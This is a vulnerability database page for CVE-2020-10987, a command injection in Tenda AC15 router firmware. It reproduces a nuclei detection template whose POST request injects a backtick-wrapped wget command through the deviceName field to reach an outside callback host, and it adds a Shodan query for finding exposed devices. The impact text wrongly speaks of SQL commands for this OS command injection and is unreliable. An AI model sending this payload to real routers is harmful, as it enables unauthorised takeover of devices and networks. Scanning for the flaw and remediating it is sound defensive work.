Browse / CVEs / CVE-2020-10987
CVE-2020-10987· tenda / ac15 firmware· CWE-78
Tenda AC15 AC1900 version 15.03.05.19 - Command Injection
Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.
The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.
Impact
Unauthenticated attackers can execute arbitrary SQL commands to access or modify database contents, potentially compromising the entire Tenda router and network configuration.
Fix
Upgrade to a patched firmware version or replace the affected device.
How to confirm it
Send: GET /
Positive when: contains(body,"<title>Tenda WiFi") and contains(content_type, 'text/html') and status_code == 200
Send: POST /goform/setUsbUnload
Positive when: contains in interactsh_protocol "http"Run it with nuclei: nuclei -id CVE-2020-10987 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-10987
info:
name: Tenda AC15 AC1900 version 15.03.05.19 - Command Injection
author: pussycat0x
severity: critical
description: |
The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.
impact: |
Unauthenticated attackers can execute arbitrary SQL commands to access or modify database contents, potentially compromising the entire Tenda router and network configuration.
remediation: |
Upgrade to a patched firmware version or replace the affected device.
reference:
- https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-10987
cwe-id: CWE-78
epss-score: 0.7981
epss-percentile: 0.99611
cpe: cpe:2.3:o:tenda:ac15_firmware:15.03.05.19:*:*:*:*:*:*:*
metadata:
shodan-query: http.title:"tenda wifi"
max-request: 2
vendor: tenda
product: ac15_firmware
tags: cve,cve2020,tenda,rce,kev,unauth,vkev,vuln
variables:
payload: "wget http://{{interactsh-url}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
redirects: true
matchers:
- type: dsl
dsl:
- 'contains(body,"<title>Tenda WiFi")'
- "contains(content_type, 'text/html')"
- "status_code == 200"
condition: and
internal: true
- raw:
- |
POST /goform/setUsbUnload HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept: */*
deviceName=test`;{{payload}};`
matchers:
- type: word
part: interactsh_protocol
words:
- "http"References
Use this check only on systems you are authorised to test. Where the data comes from